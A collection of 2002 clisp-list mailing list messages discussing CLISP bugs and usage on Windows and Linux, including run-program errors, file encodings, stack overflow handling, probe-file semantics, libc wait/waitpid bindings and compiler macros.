#1: Include the clhs.txt and Unicode.txt files in the standard Windows
distribution (they need to be distributed in the main clisp directory for
the Windows distribution, not the data directory (I'm not sure why this is,
but the code in describe.lisp expects this to be the case).

#2: Check the install.lisp patch that you sent me into CVS but also modify
install.lisp so that the path that is written out for the "-B" option in the
install.bat file does not include a trailing "/".

Thanks,
Bill Clementson


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> Thanks for suggestions from several individuals.  However, I am still
> unable to make run-program work to run a non-shell executable.  I am
> running version clisp-2.27-win32.
> 
> To summarize what I have tried, and what works and what doesn't:
> 
> > (cd) works (tells me what directory I am in).
> 
> > (cd "c:\\some\\path\\") works to change my directory
> 
> However, (run-program "myexe") does not work and always produces this
> error message 
> 
> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
> file specified.
> 
> regardless of whether the executable is in my current directory, or the
> exe is in the path, or whether the full path to the exe is specified in
> the run-program command.
> 
> I have tested this with a very simple C program that just writes a number
> to an output file (this exe works fine outside of CLISP).  
> 
> Also:  (run-program "dir" :indirect t) does not work and returns "INDIRECT
> is illegal for RUN-PROGRAM" error message.
> 
Given this, I thought I might have to use EXECUTE instead, but it does not
work properly either - I can make it run my executable once.  However, if I
try to run it again, I get this error:  

> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
> 
I have tested EXECUTE with 2 simple programs, one which simply writes a
number to the screen, and one which writes a number to an output file, I get
this message for both executables when I try to run them more than once.  

Still not able to port my Unix code to Win32 :-(

Thanks for any further suggestions:

Tara
> *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  *  
> Tara C. Matise, Ph.D.           Associate Research Professor       
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>               http://compgen.rutgers.edu
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<P><FONT FACE=3D"Arial">Thanks for suggestions from several =
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<P><FONT FACE=3D"Arial">To summarize what I have tried, and what works =
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<P><FONT FACE=3D"Arial">&gt; (cd) works (tells me what directory I am =
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<P><FONT FACE=3D"Arial">&gt; (</FONT><FONT SIZE=3D2 =
FACE=3D"Monaco">cd</FONT><FONT FACE=3D"Arial"> =
&quot;c:\\some\\path\\&quot;) works to change my directory</FONT>
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<P><FONT FACE=3D"Arial">However, (run-program &quot;myexe&quot;) does =
not work and always produces this error message </FONT>
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<P><FONT FACE=3D"Monaco">*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): =
The system cannot find the file specified.</FONT>
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<P><FONT FACE=3D"Arial">regardless of whether the executable is in my =
current directory, or the exe is in the path, or whether the full path =
to the exe is specified in the run-program command.</FONT></P>

<P><FONT FACE=3D"Arial">I have tested this with a very simple C program =
that just writes a number to an output file (</FONT><FONT SIZE=3D2 =
FACE=3D"Monaco">this</FONT> <FONT FACE=3D"Arial">exe works fine outside =
of CLISP).&nbsp; </FONT></P>

<P><FONT FACE=3D"Arial">Also:&nbsp; (run-program &quot;dir&quot; =
:indirect t) does not work and returns &quot;INDIRECT is illegal for =
RUN-PROGRAM&quot; error message.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Given this, I thought I might have to =
use EXECUTE instead, but it does not work properly either - I can make =
it run my executable once.&nbsp; However, if I try to run it again, I =
get this error:&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">*** - Win32 error 6 =
(ERROR_INVALID_HANDLE</FONT><FONT SIZE=3D2 =
FACE=3D"Monaco">)</FONT><FONT SIZE=3D2 FACE=3D"Monaco">: The handle is =
invalid</FONT><FONT SIZE=3D2 FACE=3D"Monaco">.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">I have tested EXECUTE with 2 simple =
programs, one which simply writes a number to the screen, and one which =
writes a number to an output file, I get this message for both =
executables when I try to run them more than once.&nbsp;</FONT> </P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Still not able to port my Unix code =
to Win32 :-(</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Thanks for any further =
suggestions:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Tara</FONT>
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> * In message <08CFC733EDACD211AEA40008C7A4D39C07F8E712@cormails2.jdedwards.com>
> * On the subject of "RE: [clisp-list] Problem with install.lisp in Windows"
> * Sent on Mon, 25 Feb 2002 21:59:21 -0700
> * Honorable "Clementson, Bill" <Bill_Clementson@jdedwards.com> writes:
>
> Problem #1: In the CLISP 2.27 Windows distribution, the files clhs.txt
> and UnicodeData.txt are not included as part of the standard
> distribution. I copied them from the Linux source distribution. and
> re-ran the tests.
oops.
I will look into this.

> It seems to print the correct results; however, it was odd that the
> file listed was `C:\Program Files\clisp-2.27\\clhs.txt' (note the "\\"
> before the file name clhs.txt). To fix the problem,

this is not a problem.
ignore it.

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CLISP is already localized for French, German, Spanish and Dutch.
It is time to translate the new messages.
I hope Stefan will handle German, and Arseny will finish Russian.
We need someone to update French, Spanish and Dutch.
This will require getting the message catalogs from the CVS in
<clisp/src/gettext/po/*/po> and translating the messages that lack
translations.
note: the files must be encoded in UTF-8.

Volunteers?

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Tried to load marsden's pg.lisp into clisp. Got error:

READ from #<BUFFERED FILE-STREAM CHARACTER
#P"/home/ibum/Clisp/pg.lisp"
@1109>: there is no package with name "SOCKET"

Isn't the socket library builtin with clisp? If not,
where can I get the package.

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>>>>> "ib" == IBMackey  <ibum@hillcountry.net> writes:

  ib> Tried to load marsden's pg.lisp into clisp. Got error:
  ib> READ from #<BUFFERED FILE-STREAM CHARACTER
  ib> #P"/home/ibum/Clisp/pg.lisp"
  ib> @1109>: there is no package with name "SOCKET"

you seem to be using an old version of CLISP (please include the
version number and platform in problem reports). If you read the
comments around the line number indicated by CLISP, you will see

  ;; prior to version 2.26 of CLISP this should read lisp:socket-connect
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <87elj9jwz8.fsf@yahoo.com>
    >> * On the subject of "[clisp-list] stack overflow -> into debugger?"
    >> * Sent on 25 Feb 2002 12:24:27 -0500
    >> * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
    >> 
    >> Is there some way to get clisp to drop me into the debugger when I get
    >> a stack overflow condition?

    Sam> not really - debugger requires some stack too, and detecting an
    Sam> "impending" stack overflow is much more expensive than detecting an
    Sam> actual one.

Just a thought.  Have no idea if this would really work.

Assume that the end of stack is unwriteable memory and that's how
stack overflow is detected.  Make the actual stack somewhat smaller
than the allocated space, and make the extra space unwriteable.

On stack overflow, make the extra space writeable so we actually have
more space.  Continue.  When you exit the debugger, the extra stack
space is made unwriteable again.  If you blow the stack in the
debugger, you lose.

Would this work?

Ray



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> > However, (run-program "myexe") does not work and always produces this
> > error message
> >
> > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
> > file specified.

Maybe this will help:
(I'm running Clisp on Windows 2000)

D:\Datos\Programacion\Lisp>clisp

[1]> (lisp-implementation-type)
"CLISP"
[2]> (lisp-implementation-version)
"2.27 (released 2001-07-17) (built on ssteingold.exapps.com
[172.23.101.12])"
[3]> (run-program "notepad.exe")
T
[4]> (cd "d:/datos/programacion/c++/arcom/bin/")
#P"D:\\datos\\programacion\\c++\\arcom\\bin\\"
[5]> (run-program "arcom.exe")

Arcom ® 2001 Eduardo Mu±oz
Uso: Arcom Fichero.prt
T
[6]> (exit)

D:\Datos\Programacion\Lisp>

Arcom.exe is a simple program written by me.

HTH




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> * In message <wzid6ysuua4.fsf@laas.fr>
> * On the subject of "Re: [clisp-list] Pg.lisp problem"
> * Sent on Tue, 26 Feb 2002 16:39:31 +0100
> * Honorable Eric Marsden <emarsden@laas.fr> writes:
>
> >>>>> "ib" == IBMackey  <ibum@hillcountry.net> writes:
> 
>   ib> Tried to load marsden's pg.lisp into clisp. Got error:
>   ib> READ from #<BUFFERED FILE-STREAM CHARACTER
>   ib> #P"/home/ibum/Clisp/pg.lisp"
>   ib> @1109>: there is no package with name "SOCKET"
> 
> you seem to be using an old version of CLISP (please include the
> version number and platform in problem reports). If you read the
> comments around the line number indicated by CLISP, you will see
> 
>   ;; prior to version 2.26 of CLISP this should read lisp:socket-connect
>   ;; instead.

that's why I introduced a feature LISP=CL when I did the repackaging.
please see <CLOCC/PORT/net.lisp> for an example.
I urge you to actually use that portability layer - it will save you
and your users much aggravation.

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> * In message <32786300104BD311AC7E00508B6707D0D1A489@nel-exchange.ad.lifesciences.rutgers.edu>
> * On the subject of "[clisp-list] FW: Q: problem with RUN-PROGRAM and EXECUTE in Win32"
> * Sent on Tue, 26 Feb 2002 08:55:43 -0500
> * Honorable Matise@nel-exchange.Rutgers.Edu writes:
>
> > 
> > Also:  (run-program "dir" :indirect t) does not work and returns "INDIRECT
> > is illegal for RUN-PROGRAM" error message.
> > 
> Given this,

please be more proactive.
DESCRIBE will give you the list of acceptable keywords.

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On Tue, Feb 26, 2002 at 12:00:09PM -0500, Raymond Toy wrote:
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     >> * In message <87elj9jwz8.fsf@yahoo.com>
>     >> * On the subject of "[clisp-list] stack overflow -> into debugger?"
>     >> * Sent on 25 Feb 2002 12:24:27 -0500
>     >> * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
>     >> 
>     >> Is there some way to get clisp to drop me into the debugger when I get
>     >> a stack overflow condition?
> 
>     Sam> not really - debugger requires some stack too, and detecting an
>     Sam> "impending" stack overflow is much more expensive than detecting an
>     Sam> actual one.
> 
> Just a thought.  Have no idea if this would really work.
> 
> Assume that the end of stack is unwriteable memory and that's how
> stack overflow is detected.  Make the actual stack somewhat smaller
> than the allocated space, and make the extra space unwriteable.
> 
> On stack overflow, make the extra space writeable so we actually have
> more space.  Continue.  When you exit the debugger, the extra stack
> space is made unwriteable again.  If you blow the stack in the
> debugger, you lose.

I've been thinking of something like this in SBCL, except
  * not messing around with memory protection, but instead adding
    runtime checks on entry to functions compiled with high SAFETY, and
  * starting with some reasonably generous amount of "more space" for
    debugging, e.g. 1 Mbytes, then allocating half of it at each level of
    debugger recursion, so you have 500 extra kbytes the first time
    you screw up, then 250 kbytes the next time, and so forth.

> Would this work?

Dunno yet. SBCL version 0.7.1.23 (checked in 2002-02-21) compiles
%DETECT-STACK-EXHAUSTION calls into functions, but it
%DETECT-STACK-EXHAUSTION is just a no-op stub right now, and the
associated error-recovery machinery doesn't exist either. I've been
working on other things instead of finishing it. (I found the stack
overflow bug in my application before I finished the stack-overflow
handling in SBCL.:-)

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What about just doing everything on the heap?  I know I don't have the
best understanding of activation records, but if I'm not mistaken the
performance hit isn't signficant and you won't blow the stack, you'll run
out of heap :)

I know that in cmucl it's much harder to get a stack overflow.  Perhaps
looking into their code and seeing why this is the case would be a worth
while exercise.

Just an idea or two,
Jason

On Tue, 26 Feb 2002, William Harold Newman wrote:

> On Tue, Feb 26, 2002 at 12:00:09PM -0500, Raymond Toy wrote:
> > >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> >
> >     >> * In message <87elj9jwz8.fsf@yahoo.com>
> >     >> * On the subject of "[clisp-list] stack overflow -> into debugger?"
> >     >> * Sent on 25 Feb 2002 12:24:27 -0500
> >     >> * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
> >     >>
> >     >> Is there some way to get clisp to drop me into the debugger when I get
> >     >> a stack overflow condition?
> >
> >     Sam> not really - debugger requires some stack too, and detecting an
> >     Sam> "impending" stack overflow is much more expensive than detecting an
> >     Sam> actual one.
> >
> > Just a thought.  Have no idea if this would really work.
> >
> > Assume that the end of stack is unwriteable memory and that's how
> > stack overflow is detected.  Make the actual stack somewhat smaller
> > than the allocated space, and make the extra space unwriteable.
> >
> > On stack overflow, make the extra space writeable so we actually have
> > more space.  Continue.  When you exit the debugger, the extra stack
> > space is made unwriteable again.  If you blow the stack in the
> > debugger, you lose.
>
> I've been thinking of something like this in SBCL, except
>   * not messing around with memory protection, but instead adding
>     runtime checks on entry to functions compiled with high SAFETY, and
>   * starting with some reasonably generous amount of "more space" for
>     debugging, e.g. 1 Mbytes, then allocating half of it at each level of
>     debugger recursion, so you have 500 extra kbytes the first time
>     you screw up, then 250 kbytes the next time, and so forth.
>
> > Would this work?
>
> Dunno yet. SBCL version 0.7.1.23 (checked in 2002-02-21) compiles
> %DETECT-STACK-EXHAUSTION calls into functions, but it
> %DETECT-STACK-EXHAUSTION is just a no-op stub right now, and the
> associated error-recovery machinery doesn't exist either. I've been
> working on other things instead of finishing it. (I found the stack
> overflow bug in my application before I finished the stack-overflow
> handling in SBCL.:-)
>
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Von: Matise@Biology.Rutgers.Edu

Hallo

> However, (run-program "myexe") does not work and always produces this error message

I see no "." in myexe, try (run-program "my.exe")
(execute "myprog.exe") works on my CLisp with Win98. The myprog.exe is
in the same path as clisp.exe.

> Also:  (run-program "dir" :indirect t) does not work ...

Use ":indirectp " (with p) instead of ":indirect". This makes a dos-like
dir on my system.

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Hi,

On Tue, Feb 26, 2002 at 08:49:04PM -0500, Sam Steingold wrote:
> > * In message <4nit8jhni7.fsf@rtp.ericsson.se>
> > * On the subject of "Re: proposal: probe-file -- major behavior change"
> > * Sent on 26 Feb 2002 17:44:16 -0500
> > * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
> >
> > >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> > 
> >     Sam> In CL, there is a big difference between a file and a directory.
> > 
> > But a file is 
> > 
> >         a named entry in a file system, having an
> >         implementation-defined nature.
> > 
> > so I'm not sure what the right answer is.  I can't find the glossary
> > entry for directory.
> 
> on unix, there is really no difference between "/etc" and "/etc/".
> in CL, there is difference between #p"/etc" and #p"/etc/" wrt the
> values accessors and other functions return.
> 
> >     >> So maybe someone really wants to know that /etc exists?
> > 
> >     Sam> so how is the user supposed to find out whether /etc is a file or
> >     Sam> directory?
> >     Sam> both CLISP and CMUCL have non-portable ways to do that.
> >     Sam> I propose to make PROBE-FILE useable for that.
> > 
> > I don't know.  If CL doesn't specify a way to tell if /etc is a file
> > or directory, whatever you do is non-portable, so you might as well
> > make it non-portable.
> 

I disagree with this ...

> I prefer the occam's razor - do not multiply entities unnecessarily.
> if PROBE-FILE can be made to differenciate between the two, why invent
> a separate function?
> 

1) Use #'truename for this purpose.
   (truename #"/etc") => error, no file named etc 
   (truename #"/ptc") => error, no file named ptc
   (truename #"/etc/") => #/etc/

2) Occam's razor is good, but a  better principle in this case is
   that no system should require more information than is neccessary
   to make a reasonable decision.  Give the user leeway *unless* that
   will result in unreasonable decisions. No browser known to me
   insists on the trailing slash.

3) Use #'probe-file to see if a file/directory exists and return it's
   truename, if it does, or NIL otherwise.

Then a user can do this:

(defun dir? (name)
  (if (not (or (ignore-errors (truename name)) nil))
      (when (probe-file name) t)
    t))

which is still stupid, but better than what one has to do today to see
if a file/directory exists, allowing fair leeway in the designation of
the name.  (Of course, its easy with the libc6 bindings, and that
should raise an alarm.)

of course, if you kept #'probe-directory then the user could do:

(defun dir? (name)
  (let ((ford (probe-file name)))
    (when ford (probe-directory ford))))

Which is prettier, but unportable.

IMHO, my suggestion conforms to the spec, and allows a reasonable
degree of laxity in the naming of files/directories.

According to the spec: 

(probe-file pathspec) returns the actual name of PATHSPEC otherwise
NIL.
(truename filespec) returns the actual name of FILESPEC otherwise
ERROR.

A pathspec or filespec can be (amongst others) a namestring, which can
use the standardized notation for logical pathnames (!?!) OR (thank
God) an implementation-defined notation for naming a physical
pathname.  

So Clisp can say "common usage of pathnames on Unix is vague, and
allows for the ommission or inclusion of a trailing slash, however
#'truename implements a stricter interpretation of names, and returns
an error if a directory name does not have a trailing slash.  Use
#'truename if you need to use the strict interpretation to distinguish
between directories and files, and use #'probe-file if the vague
interpretation is sufficient."

Voila :-/

Regards,
Peter




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On Mo 25 Feb 2002 "De Visser, Rene" <rene.de.visser@sap.com> wrote:

> CLisp version 2.27
>
> On windows 95 (at least on my computer) control-C does not
> seem to have any effect.  My program continues to execute.
>
> Is there some function that I can insert into my program that
> checks whether control-C has been pressed and then goes into the
> debugger?  (Or can I change some setting on windows 95 or clisp??)

Nobody else has answered this, so I'll try, though it's been a long
time since I escaped from Mordorsoft.  I vaguely remember that DOS
(and therefore effectively also Windows 95) had a BREAK command:

BREAK ON  => always check for ^C
BREAK OFF => only check during user I/O

The default was BREAK OFF, so I would always put "BREAK ON"
in my autoexec.bat.  It might also work inside a DOS Window
without rebooting, or inside a batch job that then runs Clisp.

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On Wed, Feb 27, 2002 at 09:06:35AM +0100, I wrote:

> > I prefer the occam's razor - do not multiply entities unnecessarily.
> > if PROBE-FILE can be made to differenciate between the two, why invent
> > a separate function?
> > 
> 
> 1) Use #'truename for this purpose.
>    (truename #"/etc") => error, no file named etc 
>    (truename #"/ptc") => error, no file named ptc
>    (truename #"/etc/") => #/etc/
> 
> 2) Occam's razor is good, but a  better principle in this case is
>    that no system should require more information than is neccessary
>    to make a reasonable decision.  Give the user leeway *unless* that
>    will result in unreasonable decisions. No browser known to me
>    insists on the trailing slash.
> 
> 3) Use #'probe-file to see if a file/directory exists and return it's
>    truename, if it does, or NIL otherwise.
> 
> Then a user can do this:
> 
> (defun dir? (name)
>   (if (not (or (ignore-errors (truename name)) nil))
>       (when (probe-file name) t)
>     t))
> 
> which is still stupid, 

Very, very stupid, as it won't work.  Silly me. Sorry.

I have tested the following, where #'exists? does the work which I
propose #'probe-file should do...

If #'probe-file accepts directories and files, with or without the
trailing slash and returns the actual pathname of the file/directory,
then one could test for a directory like this:

(defun dir? (n)
  (when (not (pathname-name (probe-file n))) t))

Tested:

[50]> (defun dir? (n)                                                                   (when (not (pathname-name (exists? n))) t))
dir?
[51]> (exists? ".inputrc")
#P"/home/prw/.inputrc"
[52]> (exists? ".dillo")
#P".dillo/"
[53]> (exists? "/etc")
#P"/etc/"
[54]> (exists? "/etc/")
#P"/etc/"
[55]> (exists? "/")
#P"/"
[56]> (exists? "no")
nil
[57]> (dir? ".inputrc")
nil
[58]> (dir? ".dillo")
t
[59]> (dir? "/etc")
t
[60]> (dir? "/")
t

Regards,
Peter


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On Tue, Feb 26, 2002 at 06:21:44PM -0800, Jason Dagit wrote:
> What about just doing everything on the heap?  I know I don't have the
> best understanding of activation records, but if I'm not mistaken the
> performance hit isn't signficant and you won't blow the stack, you'll run
> out of heap :)

I was under the impression that the performance hit *is* significant
in general. In particular, in languages which support Scheme-like
CALL/CC (which could be implemented straightforwardly by implementing
the stack as a linked list of heap-allocated frames and letting the GC
decide when they're no longer used) it seems as though a lot of
cleverness is devoted to minimizing the use of the the natural
heap-based implementation because it's too slow.
 
Also, it looks to me as though, at least in implementations with
conservative GC (like SBCL and CMU CL on the X86), any mechanism for
recovering from heap overflow will tend to be messier and less
reliable than the proposed mechanism for recovering from stack
overflow.

> I know that in cmucl it's much harder to get a stack overflow.  Perhaps
> looking into their code and seeing why this is the case would be a worth
> while exercise.

I think the default stack in CLISP may be much smaller than in CMU CL
or SBCL. I can't find it in the current manual page, but I thought I
remembered just a few megabytes for CLISP, while the defaults for
CMU CL and SBCL tend to be on the order of 64 megabytes.

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Well, hello to all on this list.

I've been messing around with writing a shell in Common Lisp using
CLISP.  So far I've managed to make pretty good progress. Most of what
I've done is basic string processing.  So here is what my shell can do:

-execute commands, change directory, variables, environment variables,
aliases, configurable prompt, evaluate S-expressions and probably a few
minor things I can't think of right now. =20

And here is what I'd like it to do:

-pipes, I/O redirection, a complete syntax (it will not be bash syntax),
and (the hardest part) job control.

Here is what is wrong with it so far:

I am using the (execute ..) function for executing commands.  Regardless
if I use this or (run-program ..), my shell is dependent upon another
shell.  This is rather... disgusting.  Now, I'm well aware that Lisp is
not an OS level language.  But I've noticed that (cd ..) is implemented
in CLISP.  I can think of no other way this could be implemented than a
system call to 'chdir'.  So perhaps an 'exec' type function could be
implemented in the same way.  A 'fork' command would also be helpful. =20

Another problem is when I give the shell an S-expression with an error.
For example, (car "foo").  If this happens, the entire shell exits.=20
That's inconvenient.  I suppose I could disallow s-expressions, but can
you imagine how cool it would be to something like:

(+ 2 $FOO)  in the shell?  Obviously, expressions like this would
require me to make my own syntax. =20

So here is what I'm asking:=20

First of all, I'd be perfectly willing to implement an exec command in
CLISP.  However, I need to know how 'cd' and 'getenv' were done (and
where in the source tree).  Unless there is another way to do this, of
course. =20

Second, I'm looking for advice with any of the other problems/issues
I've described.  (like pipes and the bad S-expression problem). =20

Also, keep in mind that I've not been programming in Lisp for long.  So
forgive any obvious ignorance that I've exhibited.  I'm perfectly
willing to take criticism for things I do wrong, just don't point out
"how stupid he is for doing something like that".  The reason I say this
is that I've had that experience before. =20

Thanks!

Jeremy Dolin

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Hi,

On Wed, Feb 27, 2002 at 07:03:28PM -0500, Jeremy Doolin wrote:
> Well, hello to all on this list.
> 
> I've been messing around with writing a shell in Common Lisp using
> CLISP.  So far I've managed to make pretty good progress. Most of what
> I've done is basic string processing.  So here is what my shell can do:
> 

Cool.  I have been playing around with something similar.

> -execute commands, change directory, variables, environment variables,
> aliases, configurable prompt, evaluate S-expressions and probably a few
> minor things I can't think of right now.  
> 
> And here is what I'd like it to do:
> 
> -pipes, I/O redirection, a complete syntax (it will not be bash syntax),
> and (the hardest part) job control.
> 
> Here is what is wrong with it so far:
> 
> I am using the (execute ..) function for executing commands.  Regardless
> if I use this or (run-program ..), my shell is dependent upon another
> shell.  This is rather... disgusting.  Now, I'm well aware that Lisp is
> not an OS level language.  But I've noticed that (cd ..) is implemented
> in CLISP.  I can think of no other way this could be implemented than a
> system call to 'chdir'.  So perhaps an 'exec' type function could be
> implemented in the same way.  A 'fork' command would also be helpful.  
> 

You can do these things with the libc bindings.  You don't mention
what your OS is, but if you're using Linux or AmigaOs (!) bindings are
supplied.  The problem with exec is you need a C definition with the
correct number of args.  linux.lisp includes 3 execlp definitions, so
you would be limited to a small number of args.  I 'worked around this'
by defining a larger number of execlp's in linux.lisp, and on the lisp
side have a macro construct the call to the correct execlp.  It's ugly
and primitive, and your number of args is still limited, so it's
pretty unsatisfactory, even though it works.

For some reason, wait() and waitpid() are not included in linux.lisp.
I asked about this before on clisp-list, but nobody replied.  I don't
think fork() is useable without wait() so it's a bit strange.  I added


(def-c-call-out wait
  (:arguments
   (empty (c-ptr int)))
  (:return-type pid_t))

and it seems to work ok.  I also added a definition for waitpid(), but
I think it will need a wrapper.

> Another problem is when I give the shell an S-expression with an error.
> For example, (car "foo").  If this happens, the entire shell exits. 
> That's inconvenient.  I suppose I could disallow s-expressions, but can
> you imagine how cool it would be to something like:
> 
> (+ 2 $FOO)  in the shell?  Obviously, expressions like this would
> require me to make my own syntax.  
> 

I take it your shell is a program Clisp is running?  My approach
was/is to use Clisp directly, and extend it to provide the needed
functionality of a shell.  See http://clisp.sourceforge.net/clash.html

I abandoned the idea of a read-macro for entering commands, since
running programs from execlp is simple enough to not need to pamper
the user.  You can also define readline functions that insert text
'invisibly', so you can provide the user with the illusion that your
shell has two seperate syntaxes.  As an example, I have a readline
function 'clash-run-wait' which wraps whatever the user has typed in
with (runw "....")\n. Where the dots are replaced with the user's
input.  #'runw calls a macro which builds the call to the appropriate
execlp call in the linux package.  It forks and waits.  The upshot is
you can run programs using an identical syntax to Bash, from the
user's point of view.  

> So here is what I'm asking: 
> 
> First of all, I'd be perfectly willing to implement an exec command in
> CLISP.  However, I need to know how 'cd' and 'getenv' were done (and
> where in the source tree).  Unless there is another way to do this, of
> course.  

getenv is in misc.d.  But I would advise you to try the libc bindings
first.  Good luck :-)

> 
> Second, I'm looking for advice with any of the other problems/issues
> I've described.  (like pipes and the bad S-expression problem).  
>

Clisp has pipes, but they use the shell (I think).  See,
impnotes.html#shell.
 
Have fun.

Regards,
Peter


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Hi!

Installed version 2.27 of clisp. Upon loading pg.lisp, the following
error was reported --

*** - invalid byte #xF8 in CHARSET:ASCII conversion

i.b.

Eric Marsden <emarsden@laas.fr> writes:

> >>>>> "ib" == IBMackey  <ibum@hillcountry.net> writes:
> 
>   ib> Tried to load marsden's pg.lisp into clisp. Got error:
>   ib> READ from #<BUFFERED FILE-STREAM CHARACTER
>   ib> #P"/home/ibum/Clisp/pg.lisp"
>   ib> @1109>: there is no package with name "SOCKET"
> 
> you seem to be using an old version of CLISP (please include the
> version number and platform in problem reports). If you read the
> comments around the line number indicated by CLISP, you will see
> 
>   ;; prior to version 2.26 of CLISP this should read lisp:socket-connect
>   ;; instead.
>   
> -- 
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>>>>> "ib" =3D=3D IBMackey  <ibum@hillcountry.net> writes:

  ib> Installed version 2.27 of clisp. Upon loading pg.lisp, the followin=
g
  ib> error was reported --
  ib>=20
  ib> *** - invalid byte #xF8 in CHARSET:ASCII conversion

yes, you can blame Johannes Gr=F8dem for not having a boring ASCII name.
Please read the section on Encodings in the CLISP implementation
notes. You will find that it now defaults to being able to read only
ASCII-encoded files; if you want it to be a little more European you
need to put something like the following in your ~/.clisprc.lisp file:
 =20
#+unicode
(setf custom:*default-file-encoding*
      (ext:make-encoding :charset "ISO-8859-1" :line-terminator :unix))

Have fun,

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> * In message <1014854608.32240.95.camel@zeus>
> * On the subject of "[clisp-list] Relatively new to Clisp"
> * Sent on 27 Feb 2002 19:03:28 -0500
> * Honorable Jeremy Doolin <jdoolin@cs.ohiou.edu> writes:
>
> I am using the (execute ..) function for executing commands.
> Regardless if I use this or (run-program ..), my shell is dependent
> upon another shell.

this is not true.
EXECUTE on UNIX calls vfork/execv/wait2

> Another problem is when I give the shell an S-expression with an error.
> For example, (car "foo").  If this happens, the entire shell exits.

maybe you should handle the errors in your shell?



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> * In message <20020228084617.A134@localhost.localdomain>
> * On the subject of "Re: [clisp-list] Relatively new to Clisp"
> * Sent on Thu, 28 Feb 2002 08:46:17 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> For some reason, wait() and waitpid() are not included in linux.lisp.

try the appended patch (with the CVS CLISP) and see wrap.lisp for usage
of the :out args.
if it does what you want, I will commit the patch.

> Clisp has pipes, but they use the shell (I think).

shell is cheap (100k /bin/ash).
i/o redirection is not quite trivial.
I do not want to re-implement BASH in the CLISP's C substrate.

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Index: linux.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/modules/bindings/linuxlibc6/linux.lisp,v
retrieving revision 1.5
diff -u -w -b -u -b -w -i -B -r1.5 linux.lisp
--- linux.lisp	28 Feb 2002 18:36:53 -0000	1.5
+++ linux.lisp	28 Feb 2002 18:50:59 -0000
@@ -1822,6 +1822,18 @@
                       (:return-type pid_t)
 )
 
+(c-lines "#include <sys/wait.h>~%")
+
+(def-c-call-out wait
+    (:arguments (status (c-ptr int) :out :alloca))
+  (:return-type pid_t))
+
+(def-c-call-out waitpid
+    (:arguments (pid pid_t)
+                (status (c-ptr int) :out :alloca)
+                (options int))
+  (:return-type pid_t))
+
 (def-c-call-out ttyname (:arguments (fd int))
                         (:return-type c-string)
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Are compiler macros being used by the compiler?

I tried
======================================================

(defun my-plus (&rest args)(apply #'+ args))

(define-compiler-macro my-plus (&whole form &rest args)
  (case (length args)
    (0 0)
    (1 (car args))
    (t (let ((total 0)
             (new-arg-list nil))
         (mapcar #'(lambda (arg) 
           (cond ((constantp arg)(incf total arg))
                  (t (push arg new-arg-list))))
           args)
         (cond ((null new-arg-list) total) 
               ((or (> (length args)
                    (+ 1 (length new-arg-list))))
                `(my-plus ,total ,@(nreverse new-arg-list)))
               (t form))))))

(defun foo() (my-plus 1 2 3 4 (my-plus 5 6 7) 8 9))

=======================================================

This works,

(funcall (compiler-macro-function 'my-plus)
         '(my-plus 1 2 3 (my-plus 4 5 6) 7 8 9) nil)
==> (MY-PLUS 30 (MY-PLUS 4 5 6))

but this

(compile 'foo) ==>

FOO ;
NIL ;
NIL

(disassemble #'foo) ==>

Disassembly of function FOO
(CONST 0) = 1
(CONST 1) = 2
(CONST 2) = 3
(CONST 3) = 4
(CONST 4) = 5
(CONST 5) = 6
(CONST 6) = 7
(CONST 7) = MY-PLUS
(CONST 8) = 8
(CONST 9) = 9
0 required arguments
0 optional arguments
No rest parameter
No keyword parameters
0     (CONST&PUSH 0)                      ; 1
1     (CONST&PUSH 1)                      ; 2
2     (CONST&PUSH 2)                      ; 3
3     (CONST&PUSH 3)                      ; 4
4     (CONST&PUSH 4)                      ; 5
5     (CONST&PUSH 5)                      ; 6
6     (CONST&PUSH 6)                      ; 7
7     (CALL&PUSH 3 7)                     ; MY-PLUS
10    (CONST&PUSH 8)                      ; 8
11    (CONST&PUSH 9)                      ; 9
12    (CALL 7 7)                          ; MY-PLUS
15    (SKIP&RET 1)
#<COMPILED-CLOSURE FOO>

show no optimization at all, did I miss something?

--------------
Geoff




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Thanks Eric,

I put that code in ".clisprc" and pg.lisp loads fine. Now for the fun!

i.b.

Eric Marsden <emarsden@laas.fr> writes:

> >>>>> "ib" =3D=3D IBMackey  <ibum@hillcountry.net> writes:
>=20
>   ib> Installed version 2.27 of clisp. Upon loading pg.lisp, the follow=
ing
>   ib> error was reported --
>   ib>=20
>   ib> *** - invalid byte #xF8 in CHARSET:ASCII conversion
>=20
> yes, you can blame Johannes Gr=F8dem for not having a boring ASCII name.
> Please read the section on Encodings in the CLISP implementation
> notes. You will find that it now defaults to being able to read only
> ASCII-encoded files; if you want it to be a little more European you
> need to put something like the following in your ~/.clisprc.lisp file:
>  =20
> #+unicode
> (setf custom:*default-file-encoding*
>       (ext:make-encoding :charset "ISO-8859-1" :line-terminator :unix))
>=20
> Have fun,
>=20
> --=20
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Geoff Summerhayes writes:
 > Are compiler macros being used by the compiler?

Well, they aren't, that's unfortunate, but completely conforming.  To
quote the spec =A73.2.2.1.3 "When Compiler Macros Are Used":

  The presence of a compiler macro definition for a function or macro
  indicates that it is desirable for the compiler to use the expansion
  of the compiler macro instead of the original function form or macro
  form. However, no language processor (compiler, evaluator, or other
  code walker) is ever required to actually invoke compiler macro
  functions, or to make use of the resulting expansion if it does invok=
e
  a compiler macro function.

